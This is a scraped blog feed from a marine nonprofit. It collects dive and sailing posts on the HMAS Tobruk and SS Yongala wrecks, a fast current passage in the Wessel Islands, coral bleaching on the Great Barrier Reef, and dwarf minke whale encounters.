The HMAS Tobruk was a Battle-class destroyer that was completed in 1947. Commissioned into the Royal Australian Navy in 1950, it was deployed to the Korean War twice and served with the Far East Strategic Reserve three times. 

In September 1960, the Royal Australian Navy was running gunnery exercises off Jervis Bay with the Tobruk’s sister ship, the HMAS Anzac. During the exercise, the Anzac’s gun direction equipment malfunctioned and she launched a shell that hit the Tobruk. Temporary repairs to the ship were made in Jervis Bay to that the ship was sea-worthy for the trip to Sydney. 

It was too expensive to repair her completely so she was never sent back into active battle. Until she was decommissioned in 2015, she was used for transporting soldiers, vehicles, and tanks to different shore locations. 

The scuttling of the ship did not go quite as planned and it left the ship sitting on its side instead of firmly on its hull. The State Government had been considering fixing the placement of the wreck to make it safer but instead has decided to promote the new wreck dive site as it is. The site is a safe dive site and the government decision just means that divers could get out there faster. 

Why You Should Dive the HMAS Tobruk

Diving on the HMAS Tobruk is a compelling experience that draws divers of all levels from all over the world (including us). It’s a HUGE shipwreck. It’s seriously imposing sitting on the floor of the ocean. You can swim for over 100 meters in the same direction INSIDE the ship. That’s one of the main reasons we wanted to dive into this wreck – it contains the longest artificial underwater swim-through in the world. That fact alone is enough to pique the interest of any diver worth their weight in saltwater. 

The swim-throughs, nooks, and crannies are all super interesting and full of curious surprises, but every single area of the ship is begging to be explored. We don’t recommend going inside a shipwreck without any kind of artificial light source but a flashlight on this dive is extra important. With the right light, you can properly explore the troop areas, crew quarters, tank deck, and even the bathrooms that are now growing corals. 

While the site is accessible to beginner-level divers, we recommend a minimum advanced level certification to fully enjoy the wreck site. Why? Well, simply because divers with more training and more experience will have much better control over their buoyancy and will be able to navigate the small hallways and entries without touching the wreck itself. 

We LOVED checking out the inside of the Tobruk but going inside a shipwreck isn’t everyone’s idea of a good time. If you’re the kind of diver who prefers to enjoy wrecks from the outside, the HMAS Tobruk still has you covered. The waters around the Fraser Coast and Bundaberg contain life like manta rays, groupers, cod, Spanish mackerel, sea turtles, and even migrating humpback whales (from May to November). Enjoy close encounters with amazing marine creatures with the impressive HMAS Tobruk as a backdrop. We even exited the ship to be greeted by two large eagle rays!

  • Max Depth: 30m
  • Min Depth: 10.9m
  • Min Certification Level: Open Water Diver
  • Avg Vis: 14 – 32m
  • Water Conditions: Warm and protected from most severe weather 
HMAS Tobruk Shipwreck | Expedition Drenched
HMAS Tobruk Shipwreck - Queensland’s Newest Wreck Dive Site | Expedition Drenched
Dive the HMAS Tobruk | Expedition Drenched
Dive the HMAS Tobruk | Expedition Drenched

What lives around the HMAS Tobruk Dive Site?

Shipwrecks become hugely complex underwater ecosystems once they’ve been down there long enough. Their rigid structures provide the perfect substrate for corals and hiding places for small fish and even larger ocean creatures. But if the HMAS Tobruk is one of the newest wreck dive sites in the world, what life could there possibly be to see?

The answer is simple – tons. A ridiculous amount of marine life, actually. The complex structure of the ship itself provided just the right kind of nooks and crannies for lace corals and sponges to form. These structures attracted giant clams, smaller fish like clownfish, and invertebrates like feather stars. And once the small stuff moves in, the bigger things arrive. A lucky diver could see a humpback whale, a variety of sharks, marble rays, huge potato cod, and even eagle rays out in the blue water around the wreck itself. 

We love the ocean so we were thrilled to learn that the dive site is being controlled by local authorities. To protect the dive site and its marine inhabitants, fishing and spearfishing at or near the site are illegal. A 600m exclusion zone also exists around the dive site to protect divers from boat traffic and other hazards. We were the only boat moored at the wreck site that day but it is in an active bay so the dive safety exclusion zone made us feel really comfortable. And, of course, it’s awesome to know that the underwater creatures we met are safe from illegal fishing activities. 

The HMAS Tobruk served Australia for many years. It protected Australia from invasion and kept her waters safe. Now the Tobruk keeps her waters interesting and adventurous. We were in awe of its size and how the ocean has reclaimed her as its own. You should definitely add the HMAS Tobruk to your list of must-dive places! Dot it now while it’s still full of marine life instead of human life!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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The post Diving the HMAS Tobruk Shipwreck – Queensland’s Newest Wreck Dive Site​ first appeared on Drenched Productions.

]]> 1857 The Hole In The Wall https://drenchedproductions.com/the-hole-in-the-wall/ Sun, 23 Jan 2022 13:35:56 +0000 https://drenchedproductions.com/?p=1787 As we reach the halfway point on the crossing to Darwin, Australia. Spirits are almost as high as the adrenaline rush. When we break Sylfia’s speed record flying through a crack which locals call “The hole in the Wall”. When is the right time to cross? If we time it right, we will shoot through like a bullet!! If we mess it up that current will be right on our nose and we get blown backwards!!

The post The Hole In The Wall first appeared on Drenched Productions.

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Australia Season 2 - The Hole in the wall | Expedition Drenched

The Hole in the Wall

By Expedition Drenched

23 January 2022

As we reach the halfway point on the crossing to Darwin, Australia. Spirits are almost as high as the adrenaline rush. When we break Sylfia’s speed record flying through a crack which locals call “The hole in the Wall”. When is the right time to cross? If we time it right, we will shoot through like a bullet!! If we mess it up that current will be right on our nose and we get blown backwards!!

NEW Sailing SPEED RECORD through a crack, 14 knots. As we reach the halfway point on the crossing to Darwin, Australia. Spirits are almost as high as the adrenaline rush. When we break Sylfia’s speed record flying through a crack which locals call “The Hole in the Wall”.

Where is the “Hole in the Wall”?

“The Hole in the Wall” is a waterway that separates Guluwuru Island and Raragala Island in the Wessel Islands, on the way to Darwin. The Wessel islands are a narrow chain of islands. In the northernmost part of the islands, there is a point that juts out separating the Gulf of Carpentaria to its east and the Arafura Sea to its west. These Islands are Warramiri tribe lands, traditional Aboriginal lands. There are many large Crocodiles living on its beaches some reaching 15-20 ft.

When is the right time to cross " The Hole in The Wall"?

We follow in @Sailing SV Delos footsteps seeking out this unusual Crack in the Ocean, where up to 12 knots of current rip through… The crack itself is quite narrow, which leads to very strong currents when the tide is going up or down. It’s about 100 meters at its narrowest point or four boat lengths. If the time is wrong and you won’t even move forward, the time is right and you get SUPER BOOSTED! We will shoot through like a bullet!! If we mess it up that current will be right on our nose and we get blown backward!! In which case, we will have to sit and wait until the current changes and try AGAIN!!

How was the Experience of crossing " The Hole in the wall"?

Sylfia - The Hole In the Wall | Expedition Drenched
Crossing The Hole In The Wall | Expedition Drenched
The Hole In The Wall - Australia, Season 2 | Expedition Drenched
The Hole in the Wall | Expedition Drenched

After researching tide times, we felt pretty confident we could do it. The dingy was sent ahead to check to see if we got the tides right. Approaching” the Hole in the Wall” looks like a river for white water rafting. Confirmation from the dingy and we were good to go!! The current moving fast in the right direction. The dingy radioed back and held its position, waiting for the rest of the crew aboard Sylfia. Hearts pounding, 10 knots of current drifting, it felt like we are white water rafting!! The new speed record for Sylfia is 14 knots, What a Rush!!! The rip sucked in and just as fast spat us out, into the Arafura Sea.


But as you would expect, things don’t often go smoothly!! The drone lost signal as we were coming out.
The dingy was forced to turn around and fight against 10 knots of current. Trying to hold her position going only 1 knot and using so much power. Thankfully we got a signal on the drone again and were able to land it. One of the coolest things we have done on Sylfia!! Speed!! Adrenaline!!Excitement! We succeeded!! 10 knots of current shooting us through!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

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The post The Hole In The Wall first appeared on Drenched Productions.

]]> 1787 2,000-Year-Old Coral in Australia FIGHTING for Survival https://drenchedproductions.com/2000-year-old-coral-in-australia-fighting-for-survival/ Sat, 15 Jan 2022 13:09:07 +0000 https://drenchedproductions.com/?p=1742 Global warming is having a HUGE impact on our reefs, and the very thought of tackling such a problem is daunting, but there is so much worth fighting for.
We discuss what is Coral bleaching, what causes it and furthermore what you can personally do to help minimize your impact. We're at a turning point, but doom and gloom won't save our oceans.

The post 2,000-Year-Old Coral in Australia FIGHTING for Survival first appeared on Drenched Productions.

]]>
The Monolith - 2,000 Year Old Coral in Australia FIGHTING for Survival | Expedition Drenched

2,000-Year-Old Coral in Australia FIGHTING for Survival. ( The Monolith)

By Expedition Drenched

15 January 2022

Global warming is having a HUGE impact on our reefs, and the very thought of tackling such a problem is daunting, but there is so much worth fighting for.

We discuss what is Coral bleaching, what causes it and furthermore what you can personally do to help minimize your impact. We’re at a turning point, but doom and gloom won’t save our oceans. 

Maybe you have heard the news? The Great Barrier Reef is Dead!!!

What a dangerous statement!! The Reef is still very much alive and there is so much worth saving!! It’s true that global warming is having a HUGE impact on our reefs, and the very thought of tackling such a problem is daunting, but there is so much worth fighting for.

We discuss what is Coral bleaching, what causes it and furthermore what you can personally do to help minimize your impact. We’re at a turning point, but doom and gloom won’t save our oceans. 

We had the honor of meeting John Rumny founder of Great Barrier Reef Legacy, who dedicated his life to the conservation of these magnificent eco-systems and helped us get our Minke Whale permit. John is a local legend, who had been researching the Great Barrier Reef for over 45years. He was an expert on Minke Whales, Coral Restoration and facilitated many Research Expeditions. And was awarded a lifetime achievement in conservation by Australian Geographic.

Sadly, John passed away within a couple days of our interview. He always hoped his beloved reef Monolith would out live him, so it was with both sadness and joy, we discovered the Monolith is back and better than ever.

John lived and breathed the Great Barrier Reef and loved it as if it were family. After this year’s bleaching event, he went to check it out. The Monolith, the largest single coral colony on earth, estimated to be between 1000 and 2000 years old, extends 25 meters in depth and about 12 meters wide. Usually an incredibly impressive sight, but what he saw shocked him. The monolith was actually glowing. This living structure was suffering trapped on the reef it happily called home for so many centuries. Now it was slowly dying in the warmer than normal waters, which until that moment had nourished it with everything it needed, since it was a single coral polyp the size of a pinhead. In the last six months he saw the Great Barrier Reef undergo its toughest challenge yet, as coral bleaching had taken its toll on corals mostly in the north.  It really hit home to see the monolith, one of the oldest colonies known, its existence now hanging in the balance. What he saw there was a Global Warning!! We all have to act to save the Great Barrier Reef and Reefs Worldwide!!

Thankfully there is a plan. Please join the greatbarrierreefslegacy.org, if you too want to help. Together there are no barriers too great to saving our reefs!!

The healthy Coral Reefs around the world are declining. Originally, John and his Team were fighting for water quality, reduced agricultural run-off and urban development, and those are all still really important.

The Monolith | Expedition Drenched
The Great Barrier Reef - The Monolith | Expedition Drenched
Australia - The Great Barrier Reef | Expedition Drenched
2,000-Year-Old Coral in Australia | Expedition Drenched

But now our Coral Reefs face another devastating issue due to rising water temperatures and the acidification of our Oceans. Coral Reefs are the building blocks, the foundations of all bio-diversity and are one quarter of life’s species in the Ocean. Right now, we’re losing the ice and the kelp forests, but losing the coral reefs is comparison to hundreds of millions of people losing their food supply. We are finally killing the Ocean to a point we cannot ignore.

Science for solutions!! There have been three major bleaching events in the last Five years, due to rising water temperature. Such events happened in 1998 and 2003, thankfully the Reef recovered, but that might not always be the case. The amazing thing is that corals have almost an indefinite life, so long as they have clean water, sunlight and a few trace elements they bud and duplicate.

The Bio Bank is a project where live specimens of corals are collected from the Great Barrier Reef and reefs around the world. Coral is collected of pure genetic stock and distributed to aquariums worldwide, to be cared for. These samples will be kept until rising water temperature and climate issues are dealt with. The samples will then be called back when it’s safe, either to be re-planted or for research, an asset for future Coral Science and a fantastic visionary project.

Just because coral is white does not mean it’s dead. Coral bleaching occurs when the water temperature is too high or the UV light is too strong which stresses the coral. When that happens the algae that lives inside the coral, Zooxanthelliae becomes toxic so the coral expels it. Zooxanthelliae, gives coral its color so without it looks bleached. Hence the name Coral Bleaching!! However, the coral is still alive, hoping conditions get better so it can be re-absorbed. If that continues too long the coral will eventually die. These algae produce oxygen and help the coral to remove wastes. Most importantly zooxanthellae, supply the coral with glucose, glycerol, and amino acids, which are the products of photosynthesis. Once its dead, external algae will settle on it and become weed like. Once the whole area is like that it is unlikely it will come back, as there is no place for new coral to settle.

Furthermore, there are certain places in the world where herbivores who eat the algae have been fished out. Those reefs have now been lost and un-recoverable. It is important to have fish management, monitor water quality, manage agricultural run offs, storm and sewer drains and fossil fuel emissions.

If the coral reefs fail and we lose these species to extinction, then that’s pretty catastrophic.

Here on Sylfia we use Coral reef safe sunscreen, vegan and palm oil free with no parabens. Some places around the world are banning the use of sunscreens with damaging chemicals. Do your part!! Practice safe and responsible diving. Avoid touching reefs or anchoring your boat on the reef. Contact with the reef will damage the delicate coral, look for sandy bottoms or use moorings when available. Take a reef-friendly approach to sun protection.

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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The post 2,000-Year-Old Coral in Australia FIGHTING for Survival first appeared on Drenched Productions.

]]> 1742 Diving With Dwarf Minke Whales https://drenchedproductions.com/diving-with-dwarf-minke-whales/ Wed, 01 Dec 2021 07:32:24 +0000 https://drenchedproductions.com/?p=1428 iving with these magnificent creatures was possibly the highlight of all our lives! In the far north Great Barrier Reef you will find, the famous Ribbon Reefs, and on those reefs, a Bommie called Lighthouse. Nothing out of the ordinary for the Great Barrier Reef, except for the fact that once a year for around 6-8 weeks, you can get up close and personal with Dwarf Minke Whales!!

The post Diving With Dwarf Minke Whales first appeared on Drenched Productions.

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Diving With Dwarf Minke Whales | Expedition Drenched

Diving With Dwarf Minke Whales

By Expedition Drenched

02 December 2021

Diving with these magnificent creatures was possibly the highlight of all our lives! In the far north Great Barrier Reef you will find, the famous Ribbon Reefs, and on those reefs, a Bommie called Lighthouse. Nothing out of the ordinary for the Great Barrier Reef, except for the fact that once a year for around 6-8 weeks, you can get up close and personal with Dwarf Minke Whales!! Small in stature but big on intrigue.

They might be ‘dwarf’ but adult whales can weigh in at six tones, and grow up to eight meters in length; almost as long as a double-decker bus. The species was only identified in 1981 after approaching scuba divers on a reef. Until recently they were thought to be a subspecies of minke whales, but now DNA testing has shown us that they are in fact a completely individual species all their own. Very little is known about these otherwise solitary whales, who ordinarily roam the oceans as far south as Antarctica. And since no one’s ever witnessed them mating or giving birth, it remains a mystery as to why they come to this very spot.

The theory is they mate and give birth along the way, finally arriving here to socialize and meet each other. Like fingerprints are to humans, the white and grey markings on the sides of a minke whale are unique to each whale, making each one different from the next.

They live to approximately 60 years old, which may not be very old compared to other whale species, but minke whales are definitely one of the fastest types of whales.

They can travel at speeds greater than 20 knots (more than 30km per hour). Like humpbacks, minke whales are baleen feeders. This means they munch on krill and small fish with their comb-like rows of bristles, which allow water to flow through but trap their food.

Minke whales typically come to the surface to breathe every two and a half minutes but can stay underwater for more than 12 minutes. When underwater you can hear the minke whales singing to each other, which is their form of communication.

The majority of the whales that interact with humans tend to be adolescents, who are not old enough to mate or give birth. Often the same whales are seen year after year raising their young, showing them the reef and continuing that pattern through their lineage. So much is still to be discovered about these magnificent creatures.

Their inquisitive nature and gentle demeanor gave us the chance of incredible interactions, that will live long in our memories.

They LOVE humans and are incredibly smart. None of us have had an experience quite like this, where the animal was not just curious but actually happy to see us. Seeking out our contact and splashing about. 

We heard that vibrations attract them so when we arrived to this site, we kept the engine running and dive compressor going. Soon after they arrived splashing and showing off. There must have been 10 or 12 of them. Letting out a stern line on the surface of the water, we jumped in and allowed them to approach us. It is important when interacting with them, that we remain respectful by never swimming at them, rather allowing them to approach us maintaining a positive trusting relationship. 

The longer we spent in the water the closer they came, so friendly and no more than a meter away. Even after a full day of playing with them, while preparing dinner the Dwarf Minkes showed up again splashing to get our attention, until we got back in the water! Think about that for just a moment. An animal so smart that it sees a boat and knows humans are on board. Then splashes about to get our attention. 

A life changing experience and one of the most magical encounters we ever had. Best day EVER!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

Vintage Scuba Diving Tank Top | Expedition Drenched
Vintage Diver - Scuba Diving Racerback Tank
VISIT OUR STORE
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DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
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The post Diving With Dwarf Minke Whales first appeared on Drenched Productions.

]]> 1428 SS Yongala Shipwreck – Scuba Diving in Queensland https://drenchedproductions.com/ss-yongala-shipwreck-scuba-diving-in-queensland/ Fri, 08 Oct 2021 11:46:21 +0000 https://drenchedproductions.com/?p=1125 The SS Yongala began her 99th voyage in Australian waters, from Melbourne to Cairns on March 14th, 1911.

The post SS Yongala Shipwreck – Scuba Diving in Queensland first appeared on Drenched Productions.

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EXPEDITION DRENCHED IS A MARINE EDUCATIONAL NON-PROFIT 501c3

Expedition_Drenched_SS Yongala Wreck | Expedition Drenched

SS Yongala Shipwreck
Scuba Diving in Queensland

By Caterina Natale

09 July 2021

The passenger and freight steamer was built in 1903 in Newcastle, England and named after a small town in south Australia. The aboriginal word translates to “good water”.

Vessel Type: Steel, single screw steamer
Built: U.K. 1903
Dimensions:
Length: 350ft Width: 45.2ft Depth: 27.2ft Tonnage 3664

The SS Yongala began her 99th voyage in Australian waters, from Melbourne to Cairns on March 14th, 1911. After a change of passengers in Mackay on March 23rd, she set off for her next stop, Townsville. The Yongala was last seen passing through the Whitsunday Islands before it went missing. There wasn’t a radio to warn the captain of the cyclone ahead. Ironically, she was scheduled to have radio equipment installed when she reached Cairns. The Yongala sunk just south of Townsville when the cyclone hit. All 73 crew and 48 passengers, plus a racehorse named Moonshine and a prize bull were lost with the ship.  

It wasn’t until 1943, when it was first picked up by mine sweepers.  In 1947, it was found by the Royal Australian Navy, using antisubmarine equipment and echo sounders.  It mapped out a long patch of 100m, which they determined must be a ship, as a reef this far from anything wasn’t likely, but it wasn’t identified as the Yongala until 1958, when some divers went out to identify what they suspected was the Yongala. The Museum of Tropical Queensland in Townsville has the bell.

Now this wreck has been sitting on the ocean floor for over 100 years, so it is fragile. The wreck is listed as a World Heritage Site and is protected under the Commonwealth Historic Shipwrecks Act (1976).  There are hefty fines for penetrating and touching the wreck.

 

 

Historic Shipwreck Restrictions:

1. No penetration.  Trapped air bubbles from divers aid in corrosion of iron. Entering the wreck accelerates deterioration by diver contact.  
2. No touching the wreck or artifacts.
3. No anchoring within the inner circle of the protected zone, radius 797m.  Use the moorings provided.
4.  Permit required.

I worked in the Whitsundays as a dive instructor for 6 months and heard from other dive pros how amazing this wreck is, a MUST!  So I made the trip up to Ayer to dive this wreck twice.  After my first two dives I said, I have to do this again! It is an expensive dive, but so worth doing again.  I thankfully found another chance to visit the wreck and was again blown away!  When I joined the Expedition Drenched crew, I told them we have to dive the Yongala!   I was so excited that we had plans to sail south and would be passing this epic dive site.

Max Depth: 30m
Avg Depth: 20m
Avg Vis: 12-30m
Current: Advised to dive at the turn of the tides to avoid strong currents.
Listing starboard 60-70 degrees. Mainly intact, except collapsed top decks and superstructure.

Since the wreck sits halfway between land and the outer reef, in the middle of sand, lots of marine life flock to it as its structure provides shelter.  It has become a very popular place to hunt and get cleaned for many fish.  Imagine getting served a free meal with your carwash.  It has attracted many rare species, as well like bow mouth guitarfish, ornate eagle rays, guitarsharks, and even a whaleshark has been spotted at the wreck!

There are so many fish, they cover the entire wreck.  You really need to swim up close, through schools of fish, in order to see it.  There are points of interest on the ship like toilets, but I’ve honestly never noticed because I was so distracted!  It can certainly feel overwhelming not knowing which way to look!  Checking the sand below for stingrays, out in the blue for Queensland groupers and sharks, up above for eagle rays and barracuda, and back to the ship for Maori wrasse and giant trevally, and then suddenly a sea snake swims up to the surface right in front of you!  The ship itself is completely outdone by the masses of fish that aggregate along it.  Sometimes it feels like you’re getting run over by fish, whizzing by on a highway.  The giant trevally hunt with great speed, nearly clipping you.  And they are BIG! Everything at the Yongala is BIG! My theory is that they have so much to eat here, they just grow to be massive.  It would be like going to an all you can eat buffet for breakfast lunch and dinner, everyday!  After all, you want to be the biggest apex predator around so you don’t end up as a meal at the buffet!  Here you will find the biggest stingrays, mantas, trevally, Queensland grouper, cod, Maori wrasse, sharks, sea snakes, and turtles.  The residents all seem to be larger than average for their species, and they are not shy!  They will swim right next you, right in front of your camera, and hang out until you get too close.  They are used to divers visiting almost everyday.  With the break from divers during the lockdown, we were probably some of the first people they’d seen in a while and some seemed eager to greet us!  I had several great encounters with cowtail and marbled stingrays, swimming right up to me, super close!

As I was teaching Matt’s Deep Adventure Dive, he pointed out a lonely weight pocket on the wreck, which had probably been sitting there since before covid.  I grabbed the marine debris and put it in my BCD pocket.  When I surfaced and changed my gear to a fresh tank, I removed the weight pocket, and discovered an OCTOPUS in my pocket!!!! I couldn’t believe it!! This baby day octopus must have made his home inside the weight pocket.  I unzipped the weight pocket and found a pistol shrimp and a tiny crab!  I ended up with a whole ecosystem in my pocket!!  I knew I couldn’t just toss the octopus back in the ocean, as it would never survive the 20m journey back to the wreck without being gobbled up by one of the hungry fish first.  So we grabbed a bowl of sea water to store it till the next dive.  I planned to return it to the shipwreck on our next dive that night by putting it in a ziplock bag in my pocket to securely transport it.  It was a unique experience to have an octopus in captivity by such circumstances, and we all ogled the tiny cutie!  At first it inked, which was adorable, but we changed out the water because it isn’t healthy for it to sit in its own ink.  What’s funny is that Lawrence’s favorite animal is the octopus, so he had enthusiastically asked me to find an octopus, but he didn’t expect me to bring it up to him!

We made a midnight dive that night.  We checked the tides and 11:45pm-12:45am was ideal, so we prepped our gear and went to bed earlier and planned to wake up for it.  I woke up to my alarm and started to wake people up, who didn’t seem very motivated to get out of bed anymore.  Everyone asked, “well who else is going?”  I was starting to loose faith, we were going to miss slack tide if we didn’t get up now.  That poor octopus wanted to go home and I was supposed to teach Matt his Night Adventure Dive for his PADI Advanced Open Water Course, too.  Finally, Jordan said, “Fuck it. LET’S DO IT!” and we got pumped up to do it and told everyone to get their lazy asses out of bed!  Aitor and I jumped in first.  Thankfully, there was no surface current.  As soon as we got down to the wreck, I safely released the little octopus back into the wild!  Matt and I started our dive alongside the hull and very quickly saw a shark pass by, probably a lemon or nurse shark.  By the way, what they refer to as nurse sharks in Australia are not the same as the harmless Caribbean puppy dog ones.. these are toothy! I had Matt do his night navigation skills in the dark, out into the sand where we had just seen the shark pass.  It was pretty spooky to be diving this wreck at night.  Maybe we would find the ghost of Moonshine the racehorse!  We all got spooked by Captain Nate, attacking us with a shark puppet on his hand!  As we started making our way back on the top side, another shark swam right below me, between my legs!  It was startling because they are silent!  We made it back to the line to ascend, but I wasn’t quite ready to leave.  It is such a thrill to explore this wreck where you never know what you’re going see!  After we all surfaced, we agreed it was totally worth waking up for in the middle of the night!

We stayed moored at the wreck for 2 nights, diving 6 times in total, making it 10 dives for me personally.  It was really special to have it all to ourselves because of covid.  Normally, there are dive boats there everyday, so we were probably the first humans they’d seen in months! One of the coolest things we saw was a feeding frenzy with two sharks.  You could hear the bones crush in their powerful jaws, as the other fish frantically swam away.  It spooked a massive Queensland grouper which swam right by me with a speed I’ve never seen from this species that usually moves very slowly and casually.  It is amazing to get up close and personal with these 400 kg giants just chilling at their cleaning stations.  After 10 dives at the Yongala, I still want to dive it again.  You get something different every time, and it is always spectacular entertainment.  Add this to your dive site bucket list and don’t forget your camera!

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